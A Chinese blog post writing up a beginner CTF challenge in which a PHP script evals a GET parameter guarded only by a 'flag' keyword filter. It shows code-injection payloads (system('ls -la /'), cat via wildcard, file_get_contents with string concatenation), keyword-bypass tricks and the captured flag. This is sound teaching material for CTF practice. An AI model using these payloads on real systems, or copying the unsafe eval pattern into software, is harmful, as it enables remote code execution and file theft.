当前位置：首页 > news >正文

CTF--PhP Web解题（走入CTF）

news 来源：原创 2025/6/27 5:29:38

前情提要

分享有趣CTF题目，记录学习过程

题目（带注释,方便理解）

<?php
// 开启PHP源代码高亮显示，输出当前文件内容（用于调试/展示）
highlight_file(__FILE__);// 关闭所有错误报告，防止敏感信息泄露
error_reporting(0);// 获取GET请求参数'c'的值，用户可通过URL传入代码（如?c=phpinfo()）
$c = $_GET['c'];// 检查输入$c中是否包含"flag"字符串（不区分大小写）
// 如果不存在"flag"则执行eval，否则跳过（安全过滤）
if(!preg_match("/flag/i",$c)){// 执行用户输入的PHP代码（存在代码注入漏洞）eval($c);
}// PHP结束标记
?>

题目介绍

此代码：

高危函数：
- eval()：可执行任意代码，是漏洞根源
- $_GET：直接接收用户输入，未做过滤
脆弱防护：
- 仅过滤"flag"关键词，可通过拼接/编码绕过
- 无其他安全限制（如函数黑名单、长度限制等）

典型的代码注入漏洞。eval（） 函数执行通过 c 参数传递的任意 PHP 代码

只有一个限制 - 代码不能包含单词 “flag”。

目标

获取隐藏在服务器上的真实 flag（通常格式为 flag{xxx}）

初步思考解决方法

使用其他方法读取文件 ：
- scandir（） 列出目录内容
- file_get_contents（） 或 readfile（） 替换为我们发现的文件名
绕过 “flag” 限制 ：
- 使用字符串连接：fl。 银
- 使用十六进制/八进制编码：\x66\x6c\x61\x67
- 使用 base64 编码
有效负载示例 ：
- 列出文件： ？c=print_r（scandir（'.'））;
- 读取文件： ?c=echo file_get_contents('fl'.'ag.php');
- 系统命令： ？c=system（'ls'）;

规划流程图

正式解题

1.信息采集

因为是小型比赛，系统不严格，获取信息较为方便。

我们可以通过下面命令查看详细的目录结构

网站网址/?c=system('ls -la /');

作者使用上述方式找到的文件目录

total 76 drwxr-xr-x 1 root root 4096 Jun 21 14:06 . drwxr-xr-x 1 root root 4096 Jun 21 14:06 .. -rwxr-xr-x 1 root root 0 Jun 21 14:06 .dockerenv drwxr-xr-x 1 root root 4096 Jan 31 2019 bin drwxr-xr-x 5 root root 320 Jun 21 14:06 dev drwxr-xr-x 1 root root 4096 Jun 21 14:06 etc -rw-r--r-- 1 root root 43 Jun 21 14:06 flag -rwxr-xr-x 1 root root 78 Jun 18 12:00 flag.sh drwxr-xr-x 1 root root 4096 Jan 31 2019 home drwxr-xr-x 1 root root 4096 Oct 18 2019 lib drwxr-xr-x 5 root root 4096 Jan 30 2019 media drwxr-xr-x 2 root root 4096 Jan 30 2019 mnt dr-xr-xr-x 230 root root 0 Jun 21 14:06 proc drwx------ 1 root root 4096 Jan 31 2019 root drwxr-xr-x 1 root root 4096 Oct 18 2019 run drwxr-xr-x 1 root root 4096 Oct 18 2019 sbin drwxr-xr-x 2 root root 4096 Jan 30 2019 srv dr-xr-xr-x 13 root root 0 Jun 21 14:06 sys drwxrwxrwt 1 root root 4096 Oct 18 2019 tmp drwxr-xr-x 1 root root 4096 Oct 18 2019 usr drwxr-xr-x 1 root root 4096 Jan 31 2019 var

2.定点爆破

根据上述获取的目录结构，找寻带有Flag的文件名称（如果文件过多，可以将所有文件给ai，让ai帮忙找）

很明显上面出现了flag与flag.sh两个关键文件

/flag - 普通文件

/flag.sh - 可执行脚本

3.文件分析

查看flag.sh脚本内容

网站网址/?c=system('cat /fla*.sh');

不出意外直接碰壁，得到了

#!/bin/sh sed -i "s/flag{fakeflag}/$GZCTF_FLAG/" /flag export GZCTF_FLAG=""

上述内容表示flag.sh 会将环境变量 $GZCTF_FLAG 的真实值替换到 /flag 文件中，然后清空该环境变量。

4.多种方法集中尝试

使用PHP函数绕过关键词过滤与文件读取限制

网站网址/?c=echo file_get_contents('/fl'.'ag');

得到了 flag{480cb6ab-d6b3-4625-98a3-5a1e45f4ed46}

不出意外成功解题。

小结

看流程图就行了，采用的php函数绕过限制,，成功输出flag。

CTF--PhP Web解题（走入CTF）

前情提要分享有趣CTF题目，记录学习过程题目（带注释,方便理解） <?php // 开启PHP源代码高亮显示，输出当前文件内容（用于调试/展示） highlight_file(__FILE__);// 关闭所有错误报告，防止敏感…...

编程日记 2025/6/27 5:29:38

【Linux仓库】进程概念与基本操作【进程·贰】

🌟 各位看官好，我是！ 🌍 Linux Linux is not Unix ！ 🚀 今天来学习Linux中进程概念与基本操作。 👍 如果觉得这篇文章有帮助，欢迎您一键三连，分享给更多人哦&#xff01…...

编程日记 2025/6/27 4:57:01

Z-Ant开源程序是简化了微处理器上神经网络的部署和优化

一、软件介绍文末提供程序和源码下载 Z-Ant （Zig-Ant） 是一个全面的开源神经网络框架，专门用于在微控制器和边缘设备上部署优化的 AI 模型。Z-Ant 使用 Zig 构建，为资源受限的硬件上的模型优化、代码生成和实时推理提供端到端…...

编程日记 2025/6/26 7:22:53

面试题-在ts中类型转换的方法

在 TypeScript 中，类型转换主要分为类型断言（Type Assertion）、类型守卫（Type Guard） 和类型兼容转换三种方式。以下是详细分类和示例： 一、类型断言（Type Assertion） 强制编译…...

编程日记 2025/6/27 4:43:27

【论文笔记】【强化微调】T-GRPO：对视频数据进行强化微调

tulerfeng/Video-R1: Video-R1: Reinforcing Video Reasoning in MLLMs [🔥the first paper to explore R1 for video] 1. 引述在强化微调中，像 GRPO、DAPO 这样的方法都是对文本或者图片进行微调思考，所以这类微调方法不对时序信息做处理&…...

编程日记 2025/6/26 14:04:15

`shallowReactive` 与 `shallowRef`：浅层响应式 API

🤍 前端开发工程师、技术日更博主、已过CET6 🍨 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 🕠 牛客高级专题作者、打造专栏《前端面试必备》、《2024面试高频手撕题》、《前端求职突破计划》 🍚 蓝桥云课签约作者、…...

编程日记 2025/6/27 1:17:07

使用Node.js开发服务端接口

Node.js是一个基于JavaScript的运行时环境，非常适合开发高性能的服务端接口。以下是开发服务端接口的主要方法和步骤。选择合适的框架 Express、Koa或Fastify是Node.js中常用的框架。Express是最流行的选择，适合快速开发。Koa更轻量，适合需…...

编程日记 2025/6/25 5:35:38

`teleport` 传送 API 的使用：在 Vue 3 中的最佳实践

编程日记 2025/6/27 4:39:54

Linux 多种方式实现行转列

目录一. 前提二. xargs 实现行转列三. paste 实现行转列四. sed 实现行转列一. 前提 ⏹之前在这下面篇文章中使用sed命令实现了行专列，本篇文章再介绍几种更加简单的方式。 Linux sed案例 👉 20231126-2.log 110120 SPLREQUEST 内容1 AAA memberID1…...

编程日记 2025/6/26 22:00:10

AI与SEO关键词协同进化

内容概要人工智能（AI）与搜索引擎优化（SEO）的结合，正深刻变革着关键词策略的制定与执行方式。本文旨在探讨AI技术如何驱动SEO关键词领域的智能化进化，核心在于利用AI强大的数据处理与模式识别能力&#xf…...

编程日记 2025/6/27 5:02:09

C# 网络编程-关于HTTP/HTTPS的基础（一）

一、HTTP基础概念 1. 请求-响应模型 HTTP是基于客户端-服务器的无状态协议，流程如下： 客户端（如浏览器）发起请求。服务器接收请求并处理。服务器返回响应，包含状态码、Header和响应体。连接关闭，后续请求…...

编程日记 2025/6/26 21:13:36

题解：P11501 [ROIR 2019] 探险队(Day 2)

前言：这道题 dp 做法找环的部分还没有用拓扑做的，补充一下。这道题其实很像“上司的舞会”，就是求树上最大独立集。这里我们把每个人向他讨厌的那个人连边（发现所有点出度均为 1 1 1，所以这是一个基环树&#xff0…...

编程日记 2025/6/27 5:28:27

读者写者问题与读写锁自旋锁

一、读者写者问题读者写者问题具有以下特点： 一个交易场所---写者写入数据，读者读数据两种角色---读者，写者三种关系读者和读者---并发写者和写者---互斥读者和写者---互斥 && 同步二、读者写者VS生产消费生产者消费者模型中…...

编程日记 2025/6/27 5:00:18

Sublime text启用vim

打开：首选项 > 设置，在打开的输入框中把 "ignored_packages": ["Vintage"] 修改为 "ignored_packages": []，不忽略Vintage，即为启用Vintage，它是Sublime的内置vim插件。然后再添加&…...

编程日记 2025/6/27 4:49:17

蚂蚁百宝箱快速创建智能体AI小程序

蚂蚁百宝箱官网https://tbox.alipay.com/community?operationSource1006/ 以下是一篇关于蚂蚁百宝箱快速创建智能体 AI 小程序的图文并茂的博客： 标题：蚂蚁百宝箱快速创建智能体 AI 小程序，开启智能应用新体验引言在数字化飞速发展的当…...

编程日记 2025/6/25 5:29:38

【Anconda安装教程】安装到环境配置全流程

目录前言一、进入官网下载二、下载Anconda编辑三、安装Anconda 四、配置环境变量五、验证是否安装成功六、anaconda的使用情况一：电脑现在没有装python或者现在装的可以卸载掉情况二：电脑目前装了python，但想保留它 6.1 进…...

编程日记 2025/6/25 5:30:38

Linux系统编程 | IPC对象---信号量

在前面两篇博客文章中，对Linux系统编程部分IPC三大对象中的消息队列和共享内存的知识体系做了一个大致的梳理，在本篇文章中，将对三大IPC对象中的最后一个信号量做一个总结。如果有需要的博客朋友，可以参考我的Linux系统编程专栏参…...

编程日记 2025/6/27 4:41:02

当数据自己会说话：聚类与分类算法全景解析

从金融风控到医疗诊断，两种机器学习技术如何重塑决策逻辑在人工智能与数据驱动的时代，聚类和分类作为机器学习的两大核心技术，已成为从海量数据中提取价值的必备工具。它们看似相似——都是将数据划分到不同的组中——但内在逻辑和应用场景却…...

编程日记 2025/6/25 5:32:38

哈佛结构（Harvard Architecture）与冯·诺依曼架构（Von Neumann Architecture）

一、基础概念与历史溯源哈佛结构起源：1940年代由哈佛大学开发的Mark I计算机首次采用，专为弹道计算优化。核心特征： 物理分离的存储器：程序指令存储在ROM/Flash，数据存储在RAM，两者独立编址。独立总线系统…...

编程日记 2025/6/27 4:52:33

Python内存使用分析工具深度解析与实践指南（下篇）

文章目录引言6. guppy3 / Heapy功能安装程序示例适用场景注意事项 7. objgraph功能安装程序示例适用场景注意事项 8. memory_profiler功能安装程序示例适用场景注意事项 9. profile（标准库）功能程序示例适用场景注意事项总结对比表引言在Python编程…...

编程日记 2025/6/27 4:49:16

经典控制理论：线性化笔记

一、弹簧阻尼系统求B点的位置X0，与弹簧形变后的位置X1的关系 ---- 解： 二、直流电动机模型求输出转速与输入电压的关系解：...

编程日记 2025/6/27 5:10:05

【StarRocks系列】查询优化

步骤参考官网分析查询 | StarRocks StarRocks-Profile分析及优化指南 StarRocks-Profile分析及优化指南 - 经验教程 - StarRocks中文社区论坛...

编程日记 2025/6/27 5:13:22

【STM32】STM32的中断系统寄存器NVIC、EXTI

文章目录中断概述中断的概念为什么需要中断STM32的中断 STM32的中断体系架构NVICNVIC的介绍中断优先级优先级寄存器优先级组 EXTI 中断概述中断的概念在主程序运行过程中，出现了特定事件，使得CPU暂停当前正在运行的程序，转而去处理这个事…...

编程日记 2025/6/25 5:31:40

一、核心交互链路架构 #mermaid-svg-ZBqCSQk1PPDkIXNx {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-ZBqCSQk1PPDkIXNx .error-icon{fill:#552222;}#mermaid-svg-ZBqCSQk1PPDkIXNx .error-text{fill:#552222;strok…...

编程日记 2025/6/25 5:30:39

税务 VR 虚拟体验，带来全新办税感受

在过去，企业办税难题诸多。申报纳税高峰期，办税服务厅人满为患，财务人员需早起取号排队，耗费大量时间。传统办税流程复杂，涉及多环节和部门，资料繁多，若准备不全或有误就得重新准备，…...

编程日记 2025/6/25 5:31:38

【Linux 驱动中断】

Linux 驱动中断一、GIC 控制器：硬件中断的枢纽二、GPIO 中断：设备交互的常见入口三、Tasklet 与软中断：高效的异步处理机制3.1 Tasklet3.2 软中断四、工作队列：灵活的任务处理框架4.1 共享工作队列4.2 自定义工作队列4.3 延迟工…...

编程日记 2025/6/25 5:32:08

ali 轻量服务器安装nginx

# Ubuntu sudo apt install nginx-light # 精简版 # CentOS sudo yum install nginx #启动并设置开机自启 sudo systemctl daemon-reload sudo systemctl start nginx sudo systemctl enable nginx #验证安装 nginx -v curl -I 127.0.0.1 #常用命令： # 重新加载配…...

编程日记 2025/6/25 5:32:11

2025年- H83-Lc191--139.单词拆分(动态规划）--Java版

1.题目描述 2.思路字符串s是一个容器（一个背包），wordDict词典是物品，这里面的每个物品我们可以使用多次。动归五部曲 （1）字符串的长度为i，dp[i]true。 dp[s.size] dp[0]代表空字符串 &#x…...

编程日记 2025/6/25 5:30:08

【好用但慎用】Windows 系统中将所有 WSL 发行版从 C 盘迁移到非系统盘的完整笔记（附异常处理）

🚀 将所有 WSL 发行版从 C 盘迁移到 I 盘的完整教程（含 Podman / NVIDIA Workbench / Ubuntu 等） 【无标题】使用 Chocolatey 安装 WSL 管理工具 LxRunOffline-CSDN博客免责声明重要提示在执行 WSL 迁移操作前，请务必仔细阅读…...

编程日记 2025/6/25 5:32:39

贪心算法思路详解

文章目录一、贪心算法是什么？二、贪心算法原理三、再谈背包问题四、活动选择问题五、拟阵理论总结一、贪心算法是什么？ 贪心算法与动态规划算法一样是用于求解最优化类问题的算法，其本质上是基于动态规划算法的改进算法，其所求…...

编程日记 2025/6/25 5:32:38

Keil 安装 CMSIS-FreeRTOS 失败解决方案

一、问题现象在 Keil 中安装 CMSIS-FreeRTOS 时出现以下错误： （1） 通过内置工具安装： （2）通过官网安装： 二、核心原因 Keil 版本过低，与 CMSIS-FreeRTOS 包不兼容： …...

编程日记 2025/6/25 5:35:08

Python打卡DAY33

DAY33：MLP神经网络的训练恩师浙大疏锦行知识点： PyTorch和cuda的安装查看显卡信息的命令行命令（cmd中使用）cuda的检查简单神经网络的流程数据预处理（归一化、转换成张量）模型的定义继承nn.Module类定义…...

编程日记 2025/6/25 5:35:08

RJ45 网口实现千兆传输速率（1Gbps）的原理，涉及物理层传输技术、线缆标准、信号调制及网络协议等多方面的协同设计。以下从技术维度展开详细解析：

一、千兆以太网的标准与物理层基础 1. 标准规范千兆以太网遵循 IEEE 802.3ab（针对双绞线）和 IEEE 802.3z（针对光纤）标准，其中 RJ45 接口对应双绞线场景，核心是通过四对双绞线（CAT5e/CAT6 线缆…...

编程日记 2025/6/26 11:00:03

leetcode hot 100之：二叉树的层序遍历

层序遍历和前中后序遍历不一样，大家可以想象的是：前中后序遍历可以用递归，因为他是以子树为标准来选择的；那层序怎么办呢？怎么才能一层层地遍历呢？ void First(TreeNode* root) {printf("%d",ro…...

编程日记 2025/6/25 5:32:38

深入解析BERT：语言分类任务的革命性引擎

“BERT的出现，如同在自然语言处理领域投下了一颗认知炸弹——它让机器真正学会了’联系上下文’。” ——自然语言处理研究者普遍共识在自然语言处理（NLP）领域，2018年诞生的BERT（Bidirectional Encoder Representatio…...

编程日记 2025/6/25 5:32:11

Pycharm中Jupyter Notebook 插件常用快捷键

bg：Jupyter跟LINQPad很像，都是方便写的时候看数据用快捷键功能Shift Enter执行当前单元格，并跳转到下一个单元格Ctrl Enter执行当前单元格，不跳转（留在当前单元格）Alt Enter执行当前单元格&#xff0c…...

编程日记 2025/6/25 5:32:09

【Python】Excel表格操作：ISBN转条形码

一、效果原始文件： 输出文件： 二、代码 import os import logging from openpyxl import load_workbook from openpyxl.drawing.image import Image as ExcelImage from barcode import EAN13 from barcode.writer import ImageWriterlogging.basicCo…...

编程日记 2025/6/25 5:31:08

大数据Hadoop集群搭建

文章目录大数据Hadoop集群搭建一、VMware准备Linux虚拟机二、VMware虚拟机系统设置1、主机名、IP、SSH免密登录2、JDK环境部署3、防火墙、SELinux、时间同步三、VMware虚拟机集群上部署HDFS集群1、集群规划2、上传&解压3、Hadoop安装包目录结构4、修改配置文件&#xff0…...

编程日记 2025/6/25 5:32:39

饼图：数据可视化的“切蛋糕”艺术

饼图，作为数据可视化家族中最经典、最易识别的成员之一，其核心功能如同其名——像切分蛋糕一样，直观展示一个整体（100%）被划分为若干组成部分的比例关系。往期文章推荐: 20.用Mermaid代码画ER图：AI时代的…...

编程日记 2025/6/25 5:31:38

mysql server层做了什么

服务器处理客户端请求服务器程序在处理来自客户端的查询请求时，大致需要分为3部分：连接管理、解析与优化、存储引擎。连接管理每当有一个客户端进程连接到服务器进程时，服务器进程都会创建一个线程专门处理与这个客户端的交互&#xff…...

编程日记 2025/6/25 5:32:39

3.5.1_1 信道划分介质访问控制（上）

在这个视频中我们要介绍信道划分、介质访问控制，这是两个词，我们先介绍一下什么叫做介质访问控制。通过之前的学习，我们知道在计算机网络当中，有的信道它在逻辑上属于总线型，我们也可以把这种信道称为广播信道&#x…...

编程日记 2025/6/25 21:54:50

RPC常见问题回答

项目流程和架构设计 1.服务端的功能： 1.提供rpc调用对应的函数 2.完成服务注册服务发现上线/下线通知 3.提供主题的操作 (创建/删除/订阅/取消订阅) 消息的发布 2.服务的模块划分 1.网络通信模块 net 底层套用的moude库 2.应用层通信协议模块 1.序列化反序列化数…...

编程日记 2025/6/24 19:50:39

数据分析和可视化:Py爬虫-XPath解析章节要点总结

重要知识点 XPath 概述：XPath 是一门可以在 XML 文件中查找信息的语言，也可用于 HTML 文件。它功能强大，提供简洁明了的路径表达式和多个函数，用于字符串、数值、时间比较等。1999 年成为 W3C 标准，常用于爬虫中抓取网…...

编程日记 2025/6/24 21:35:22

WIFI原因造成ESP8266不断重启的解决办法

一、报错报错信息如下： 21:37:21.799 -> ets Jan 8 2013,rst cause:2, boot mode:(3,7) 21:37:21.799 -> 21:37:21.799 -> load 0x4010f000, len 3424, room 16 21:37:21.799 -> tail 0 21:37:21.799 -> chksum 0x2e 21:37:21.799 -> loa…...

编程日记 2025/6/25 5:30:38

OSI网络通信模型详解

OSI 模型就是把这整个过程拆解成了 7 个明确分工的步骤，每一层只负责自己那一摊事儿，这样整个系统才能顺畅运转，出了问题也容易找到“锅”在谁那。核心比喻：寄快递 📦 想象你要把一份重要的礼物（你的数据…...

编程日记 2025/6/24 19:34:24

第五章中央处理器

5.1 CPU的功能和基本构造 5.1.1 CPU的基本功能 5.1.2 CPU的基本结构 1.运算器算术逻辑单元ALU 累加寄存器ACC 程序字状态寄存器PSW 计数器CT 暂存寄存器通用寄存器组移位器通用寄存器供用户自由编程，可以存放数据和地址。而指令寄存器是专门用于存放指令的专用寄存器，…...

编程日记 2025/6/25 5:43:09

大模型学习入门——Day3:注意力机制

本系列笔记的教材：快乐学习大模型-DataWhale团队注意力机制注意力机制最先源于计算机视觉领域，其核心思想为当我们关注一张图片，我们往往无需看清楚全部内容而仅将注意力集中在重点部分即可。而在自然语言处理领域，我们往往也…...

编程日记 2025/6/25 5:41:38

C++ 学习笔记精要(二)

第一节特殊类的设计 1. 一个类: 只能在堆上创建对象关键点:自己控制析构 1.1 方法一: 使用delete禁掉默认析构函数 #include <iostream> using namespace std;class HeapOnly { public:HeapOnly(){_str new char[10];}~HeapOnly() delete;void Destroy(){delete[…...

编程日记 2025/6/25 16:48:02